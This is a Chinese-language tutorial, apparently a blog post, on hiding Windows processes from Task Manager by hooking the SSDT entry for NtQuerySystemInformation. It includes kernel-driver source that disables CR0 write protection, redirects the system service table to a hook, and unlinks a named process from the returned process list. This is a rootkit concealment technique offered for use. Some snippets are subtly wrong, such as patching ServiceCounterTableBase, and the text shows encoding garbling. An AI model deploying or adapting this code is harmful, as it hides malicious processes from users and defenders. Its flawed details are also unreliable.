進(jìn)程隱藏的實現(xiàn)
通過Hook SSDT (System Service Dispath Table) 隱藏進(jìn)程
1.原理介紹:
Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。而API又是通過ntdll里面的核心API來進(jìn)行系統(tǒng)服務(wù)的查詢。核心API通過對int 2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數(shù)KiSystemService()來實現(xiàn)的。在你使用了一個系統(tǒng)調(diào)用時,必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個數(shù)據(jù)結(jié)構(gòu),定義如下:
typedef struct SystemServiceDescriptorTable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfService這么多個數(shù)組單元。在windows 2000 sp4中NumberOfService的數(shù)目是248個。
我們的任務(wù)管理器,是通過用戶層的API來枚舉當(dāng)前的進(jìn)程的。Ring3級枚舉的方法:
" PSAPI
– EnumProcesses()
" ToolHelp32
– Process32First()
- Process32Next()
來對進(jìn)程進(jìn)行枚舉。而她們最后都是通過NtQuerySystemInformation來進(jìn)行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數(shù)進(jìn)行添加或者是刪改,就能有效的欺騙上層API。從而達(dá)到隱藏特定進(jìn)程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數(shù)的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系統(tǒng)中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導(dǎo)出的 ZwQuerySystemInformation中包含有索引號的硬編碼:
kd> u ZwQuerySystemInformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把ZwQuerySystemInformation入口處的第二個字節(jié)取出來就能得到相應(yīng)的索引號了。例如:
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;
3.對NtQuerySystemInformation返回的數(shù)據(jù)進(jìn)行刪改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
IN ULONG SystemInformationClass, //查詢系統(tǒng)服務(wù)類型
IN PVOID SystemInformation, //接收系統(tǒng)信息緩沖區(qū)
IN ULONG SystemInformationLength, //接收信息緩沖區(qū)大小
OUT PULONG ReturnLength); //實際接收到的大小
NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進(jìn)行查詢,不僅僅是對進(jìn)程的查詢,通過SystemInformationClass號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時候是在進(jìn)行進(jìn)程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結(jié)構(gòu)。
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一個進(jìn)程信息的偏移量,如果為0表示無一個進(jìn)程信息
ULONG ThreadCount; //線程數(shù)量
ULONG Reserved[6]; //
LARGE_INTEGER CreateTime; //創(chuàng)建進(jìn)程的時間
LARGE_INTEGER UserTime; //進(jìn)程中所有線程在用戶模式運(yùn)行時間的總和
LARGE_INTEGER KernelTime; //進(jìn)程中所有線程在內(nèi)核模式運(yùn)行時間的總和
UNICODE_STRING ProcessName; //進(jìn)程的名字
KPRIORITY BasePriority; //線程的缺省優(yōu)先級
ULONG ProcessId; //進(jìn)程ID號
ULONG InheritedFromProcessId; //繼承語柄的進(jìn)程ID號
ULONG HandleCount; //進(jìn)程打開的語柄數(shù)量
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虛擬內(nèi)存的使用情況統(tǒng)計
IO_COUNTERS IoCounters; //IO操作的統(tǒng)計,Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述進(jìn)程中各線程的數(shù)組
};
當(dāng)NextEntryDelta域等于0時表示已經(jīng)到了進(jìn)程信息鏈的末尾。我們要做的僅僅是把要隱藏的進(jìn)程從鏈中刪除。
4. 核心實現(xiàn)
//系統(tǒng)服務(wù)表入口地址
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
……
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh //DisableWriteProtect
mov cr0, eax
}
//取得原來ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
mov eax, CR0VALUE
mov cr0, eax
}
……
return STATUS_SUCCESS;
}
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
……
//UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;
……
}
NTSTATUS HookFunc(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
struct _SYSTEM_PROCESSES *curr;
// 保存上一個進(jìn)程信息的指針
struct _SYSTEM_PROCESSES *prev = NULL;
//調(diào)用原函數(shù)
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
//如果系統(tǒng)查詢類型是SystemProcessesAndThreadsInformation
{
curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
//加第一個偏移量得到第一個system進(jìn)程的信息首地址
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
{
//找到要隱藏的進(jìn)程
if(prev)
{
if(curr->NextEntryDelta)
{
//要刪除的信息在中間
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
//要刪除的信息在末尾
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要刪除的信息在開頭
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
//如果鏈下一個還有其他的進(jìn)程信息,指針往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta); else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
//把當(dāng)前指針設(shè)置成前一個指針,當(dāng)前指針后移
prev = curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
else curr = NULL;
}
} // end while(curr)
}
}
return rc;
}
通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,& BytesReturned,NULL)來通知驅(qū)動程序要隱藏的進(jìn)程的名字。